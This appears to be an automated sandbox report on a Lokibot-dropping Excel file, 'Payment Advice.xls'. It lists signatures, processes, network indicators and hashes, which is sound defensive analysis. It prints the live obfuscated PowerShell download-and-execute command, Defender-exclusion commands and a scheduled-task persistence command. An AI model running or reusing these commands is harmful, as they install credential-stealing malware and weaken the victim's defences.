Analysis Overview
SHA256
002eb261ac533e6ec256236996b229688b08f56aa143f2b2a257c215bfba0195
Threat Level: Known bad
The file Payment Advice.xls was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Lokibot family
Lokibot
Evasion via Device Credential Deployment
Blocklisted process makes network request
Downloads MZ/PE file
Command and Scripting Interpreter: PowerShell
Executes dropped EXE
Reads user/profile data of web browsers
Loads dropped DLL
Accesses Microsoft Outlook profiles
Suspicious use of SetThreadContext
Drops file in System32 directory
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Uses Volume Shadow Copy service COM API
Enumerates system info in registry
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Scheduled Task/Job: Scheduled Task
Modifies Internet Explorer settings
Checks processor information in registry
Uses Volume Shadow Copy WMI provider
Uses Task Scheduler COM API
outlook_win_path
outlook_office_path
Suspicious use of WriteProcessMemory
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-18 17:10
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-18 17:10
Reported
2024-11-18 17:12
Platform
win7-20241010-en
Max time kernel
143s
Max time network
152s
Command Line
Signatures
Lokibot
Lokibot family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
Reads user/profile data of web browsers
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1508 set thread context of 1120 | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | C:\Users\Admin\AppData\Roaming\caspol.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Payment Advice.xls"
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe -Embedding
C:\Windows\SysWOW64\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe
"C:\Windows\sYStem32\WInDowspoWeRSheLl\V1.0\pOwersheLl.eXe" "PowErShEll -EX bYPaSS -nOp -w 1 -c DEvicEcREdENTIAlDEplOyMenT ; INvoKe-eXPrEssIOn($(InvoKe-eXPRessIon('[sYsteM.tExT.eNcODing]'+[ChaR]0x3A+[cHAr]58+'utF8.GetstrIng([SYStEM.CoNVErT]'+[cHAr]58+[CHaR]58+'FROmbASE64STRinG('+[ChAR]34+'JFo3VE02ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFckRFZmluSXRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OLkRMbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEwsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTnJwdCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBGaUVJdnlPaGJJcyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWVCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInVwIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBPZ2NBUnYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFo3VE02OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjMuMjQzLjEzNi8zNy9jYXNwb2wuZXhlIiwiJGVuVjpBUFBEQVRBXGNhc3BvbC5leGUiLDAsMCk7c1RBUlQtc0xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxjYXNwb2wuZXhlIg=='+[CHAr]0x22+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYPaSS -nOp -w 1 -c DEvicEcREdENTIAlDEplOyMenT
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\hnizr2tx.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES83C1.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC83B1.tmp"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\pYSJOdJUV.exe"
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\pYSJOdJUV" /XML "C:\Users\Admin\AppData\Local\Temp\tmp39A6.tmp"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | link.uebie.de | udp |
| DE | 5.45.108.48:443 | link.uebie.de | tcp |
| US | 8.8.8.8:53 | e6.o.lencr.org | udp |
| GB | 88.221.135.105:80 | e6.o.lencr.org | tcp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| DE | 5.45.108.48:443 | link.uebie.de | tcp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| US | 8.8.8.8:53 | www.microsoft.com | udp |
| GB | 95.100.245.144:80 | www.microsoft.com | tcp |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp |
Files
memory/2884-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/2884-1-0x0000000071E9D000-0x0000000071EA8000-memory.dmp
memory/2884-19-0x0000000001F00000-0x0000000001F02000-memory.dmp
memory/2676-18-0x0000000002040000-0x0000000002042000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B083487247EB8FBD76503EF0DA269B6B
| MD5 | dfe9d40108cd6499968560d0319998c6 |
| SHA1 | 6b79281f7efec1b9fb942e6e0cd3eb5e9f776e73 |
| SHA256 | 1dc7e4150fff57a7423b4d0ebeb3a5f966593b4dad4b803840f6c4a2f814951e |
| SHA512 | 5d4d685a5f15372d4ae8fdc08ab92d2f2f173f586b58315d35a62318f71b9fce7f84b4501f50024e95225a53856ab8170bcf1adf8805eaddb392250082c9ff56 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B083487247EB8FBD76503EF0DA269B6B
| MD5 | e9ac274e09e6dbd13d7b0788bbd7e605 |
| SHA1 | 585d3617291575424886a743fbc11544e1bbc782 |
| SHA256 | b0296e7cd8d7767a5134c7673320caaeb0922bb98cd47bea2dc5bb5bfda3eb12 |
| SHA512 | 2f57d4330b7d9986a09bed6db2bb7c1841d04a6b03f711dbca3039053b02384432523e166c4b9e65188be2cf3dc366f2fc91435c4ec61762feffa0ea824f621d |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
| MD5 | 822467b728b7a66b081c91795373789a |
| SHA1 | d8f2f02e1eef62485a9feffd59ce837511749865 |
| SHA256 | af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9 |
| SHA512 | bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
| MD5 | c0b7c315ca6c8b24c6e5501f2a51ea8f |
| SHA1 | d3575154b2340406d4b0682a02aca2e01093a824 |
| SHA256 | 571bcbfaffcc9a2e6f53e87902ee4405c9b94a3b67d49b830135d8f5f736fc70 |
| SHA512 | 1b95c493dc4cc28e0cb2f996b0ddfaff997de0b922ab3831b89123acf69b1e5b4e70d426a3b2fa4632a21450ca252ac9652685521abd7f50fd844a593e6213f8 |
C:\Users\Admin\AppData\Local\Temp\Cab707F.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
| MD5 | fc6e1d8bbf4738957e7948c198d0698a |
| SHA1 | 309173d9bbdde1a5b6d2563995823c8be9ae8831 |
| SHA256 | c5ca8dd5daf8ab64c79ab684d479cafdfb2b52a8521a1b217a7df5058fded6c1 |
| SHA512 | f1ba75d4a28454bce9b2e94c924e0be5f21ba49640fc8f4e34380cfbc48403e9cc615487852cacacf01594815986a8e1d87959410769e71717a728cce508cd0c |
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\DUME8XYE\givemebestwithentiretimegivenmebestthingsalwaysforgetbacknew[1].hta
| MD5 | f3e18c2fd2190a479b6fb930e6061c2e |
| SHA1 | 88efd851c900d0a32d4876b3cc8be0a50ebec363 |
| SHA256 | 98afd5f972247d0d98dfad43a380dc8390a8ec52c6e6f8cdfcd0a858f2433dce |
| SHA512 | ab0862b5ab48bbd2781ec7397861904bd412fa282ef56ef1212ce15840f3a9dd22cd043b125af83707dae39d433dd03fcb657a1d546f77b3fae6bc32725ade5e |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | b4d5bcfdcfaa781e011367a297d71d1e |
| SHA1 | 12e607cbb521815f4068f085f972379841b89042 |
| SHA256 | e3be17887fb2dc387f2cf958eb4ca181dda52b15b1c5f77a05e03359c180255a |
| SHA512 | 14e3324463ce5584c2ecc04e6c36dafabf0cc5f027bdda2b4ac5ff05fbd1db27bd8133a064def833be7ea80a768e3cd2a1db97988218ecc3891e4e0581681258 |
\??\c:\Users\Admin\AppData\Local\Temp\hnizr2tx.cmdline
| MD5 | f715ce55e994619f65f33e8081275f8e |
| SHA1 | 3990266624ef23ad184376f95ef7c0a9aa34dfd7 |
| SHA256 | 3385605805f2b10fd9c83410fe16441127fc0d631f905aec143cf4b2dc5f37d6 |
| SHA512 | 7d469add6485908a054f8434c2d24529e741316cbc907e422de29c457bff37df633e508baa2fe0675ddccfa8ad23032188a48d2c92f39a996a0ed592c7d66818 |
\??\c:\Users\Admin\AppData\Local\Temp\hnizr2tx.0.cs
| MD5 | f8419bbc398e1a2b134eec88b333f8f6 |
| SHA1 | 57ebba4cad00272da80b919df0908ec40f9be48a |
| SHA256 | 25fccfa20b9b6d921f804167f1637df00cdd3203af9c0313f99de7c6e9989db3 |
| SHA512 | b1f4044b7a62e1de69d8e4a8ebf4db6bb24fd40d486ec5e44bd3e6b835e62ef5078c79236ded9c21ce1b0acd3575acaf1908f4fcc6ee12f1fd5f7455c4b14674 |
\??\c:\Users\Admin\AppData\Local\Temp\CSC83B1.tmp
| MD5 | 0d1d3d5b251ebe284dd2f165c466f2db |
| SHA1 | ce83e30ab4c301665feafef8bb2de80a8338cc73 |
| SHA256 | 214aa301ef2aa55e0d82571266830a58d643f6b9932a0eeb3a6ae8182a3fa37d |
| SHA512 | addfb30c2e77325a064ef78ad5471e8d21568d1fa3ff02ed557bd531d1f489c4e879fa9b38005dad3b92b17cbe11d0a1f2406265e028f2a16d1a9f7ab0995655 |
C:\Users\Admin\AppData\Local\Temp\RES83C1.tmp
| MD5 | 63442ccb8c502f637b732f5b38d3a9a3 |
| SHA1 | a8f09715b33867c12cba8134b17ad5f50be3c299 |
| SHA256 | 3e130e083c1caa531f737aa5fecad1ad447eac3f46d0f6915e4e65965d4821da |
| SHA512 | fb7de716abe1d2e9b70e7036c2845e96300783a840967d8363c1c842db19c072a7242d750be1aaba910771c148d8cabd8dd6ab29cac76272603147f6223d7fe2 |
C:\Users\Admin\AppData\Local\Temp\hnizr2tx.dll
| MD5 | bba4188c05c1ed950ec726120ac3684b |
| SHA1 | 9fad5ebf3b0d1424609a1af371666e242d3bd5a5 |
| SHA256 | 00ac64733a5712e4b89ae728bee3ed1daf4f679cd656094b8d9a032b2a620986 |
| SHA512 | b28d8a671a3265bb5c09c0b2bbd8c1198b11c7ea459b484cbecab3872f3cbb0106418d4cea56c0bd08499c1be09c942456bbc43dc64e168f5ea8600ab8c2aa1b |
C:\Users\Admin\AppData\Local\Temp\hnizr2tx.pdb
| MD5 | 7e107bbc25691348448f4893a44cff88 |
| SHA1 | 3be5d4792f17095fa7e5d98fd2991bb774ff2a96 |
| SHA256 | 1ff88b572e2e14e0ceea64146e74e5e25be7a0e3c25aee2207c6eec1267d2bfb |
| SHA512 | 82885df494d5eef0b2181ca20f6333ddddf36d11848e33d66220fe158cf6c1b5ccf54b850581e9399c42dc22f6f7643718d296b593ebd6ae0ae8d2309591e652 |
memory/2884-59-0x0000000071E9D000-0x0000000071EA8000-memory.dmp
\Users\Admin\AppData\Roaming\caspol.exe
| MD5 | 318ff90d7a2797a041b836f7f8900f62 |
| SHA1 | fdda6afed7a1643ae353e7a635e6744c2b0a07d5 |
| SHA256 | 241d0df35796a2c2ae0ae4af70ef9e6571c23536fef35c1c0c172d703203a430 |
| SHA512 | 808942ba5db2e4d3d1d29a52c065acad4fcaae328dc43a3b977234f1b58d2838abf73d03b0992cd0f5ac4939e29f354c6c2ea25a4822a461b8ef74cec0eb3aac |
memory/1508-73-0x0000000000C90000-0x0000000000D24000-memory.dmp
memory/1508-74-0x0000000000430000-0x0000000000442000-memory.dmp
memory/1508-75-0x0000000004B40000-0x0000000004BA4000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\tmp39A6.tmp
| MD5 | 87b0626d2bdfe8839459d3266b1c6744 |
| SHA1 | d203b541a45ad9425593407e8ddf7b4d66f995fb |
| SHA256 | a7af0eb9ce7abd1c5ae2d0a7a52226468872b6159c56ec4c1843db5aed15be06 |
| SHA512 | 31842512266798f168e507308477511c1cfb4ee70eb446ff4b6f7acc54646019b914825e67c44881294e01d0cf00f53d5d1adfdbb7938e8752c627e2eed78e66 |
memory/1120-91-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1120-104-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1120-102-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1120-101-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1120-99-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1120-97-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1120-95-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1120-93-0x0000000000400000-0x00000000004A2000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3692679935-4019334568-335155002-1000\0f5007522459c86e95ffcc62f32308f1_6110149a-fcf0-442a-a749-601093ba4822
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3692679935-4019334568-335155002-1000\0f5007522459c86e95ffcc62f32308f1_6110149a-fcf0-442a-a749-601093ba4822
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-18 17:10
Reported
2024-11-18 17:12
Platform
win10v2004-20241007-en
Max time kernel
144s
Max time network
140s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\mshta.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1284 wrote to memory of 4388 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
| PID 1284 wrote to memory of 4388 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
Uses Task Scheduler COM API
Uses Volume Shadow Copy WMI provider
Uses Volume Shadow Copy service COM API
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Payment Advice.xls"
C:\Windows\System32\mshta.exe
C:\Windows\System32\mshta.exe -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.150.49.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.76.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.49.80.91.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| GB | 52.109.28.47:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | link.uebie.de | udp |
| DE | 5.45.108.48:443 | link.uebie.de | tcp |
